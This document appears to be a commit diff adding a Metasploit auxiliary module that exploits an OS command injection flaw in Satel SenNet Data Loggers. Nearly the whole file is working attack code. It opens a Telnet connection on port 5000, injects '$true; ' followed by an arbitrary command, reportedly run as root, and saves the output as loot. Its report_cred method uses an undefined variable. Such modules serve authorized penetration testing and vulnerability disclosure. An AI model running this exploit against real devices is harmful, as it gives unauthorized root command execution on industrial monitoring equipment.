|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + include Msf::Exploit::Remote::Telnet |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Auxiliary::Scanner |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Satel SenNet Data Logger Privileged Shell Arbitrary Command Execution Vulnerability', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'. |
| 18 | + }, |
| 19 | + 'Author' => |
| 20 | + [ |
| 21 | + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>' |
| 22 | + ], |
| 23 | + 'DisclosureDate' => 'Apr 07, 2017', |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'DefaultOptions' => { 'VERBOSE' => true }) |
| 26 | + ) |
| 27 | + |
| 28 | + register_options( |
| 29 | + [ |
| 30 | + Opt::RPORT(5000), |
| 31 | + OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]), |
| 32 | + OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd;']) |
| 33 | + ], self.class |
| 34 | + ) |
| 35 | + |
| 36 | + deregister_options('USERNAME', 'PASSWORD') |
| 37 | + end |
| 38 | + |
| 39 | + def report_cred(opts) |
| 40 | + service_data = { |
| 41 | + address: opts[:ip], |
| 42 | + port: opts[:port], |
| 43 | + service_name: opts[:service_name], |
| 44 | + protocol: 'tcp', |
| 45 | + workspace_id: myworkspace_id |
| 46 | + } |
| 47 | + |
| 48 | + login_data = { |
| 49 | + last_attempted_at: Time.now, |
| 50 | + core: create_credential(credential_data), |
| 51 | + status: Metasploit::Model::Login::Status::SUCCESSFUL, |
| 52 | + proof: opts[:proof] |
| 53 | + }.merge(service_data) |
| 54 | + |
| 55 | + create_credential_login(login_data) |
| 56 | + end |
| 57 | + |
| 58 | + def run_host(ip) |
| 59 | + to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT'] |
| 60 | + begin |
| 61 | + ::Timeout.timeout(to) do |
| 62 | + command = datastore['CMD'] |
| 63 | + inject = '$true; ' + "#{command}" |
| 64 | + res = connect |
| 65 | + |
| 66 | + print_status("Sending command now - #{command}") |
| 67 | + |
| 68 | + sock.puts(inject) |
| 69 | + data = sock.get_once(-1, 5) |
| 70 | + |
| 71 | + print_good("#{data}") |
| 72 | + |
| 73 | + loot_name = 'cmd-exec-log' |
| 74 | + loot_type = 'text/plain' |
| 75 | + loot_desc = 'Satel SenNet CMD Exec Dump' |
| 76 | + p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc) |
| 77 | + print_good("File saved in: #{p}") |
| 78 | + end |
| 79 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 80 | + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") |
| 81 | + return false |
| 82 | + ensure |
| 83 | + disconnect |
| 84 | + end |
| 85 | + end |
| 86 | +end |
0 commit comments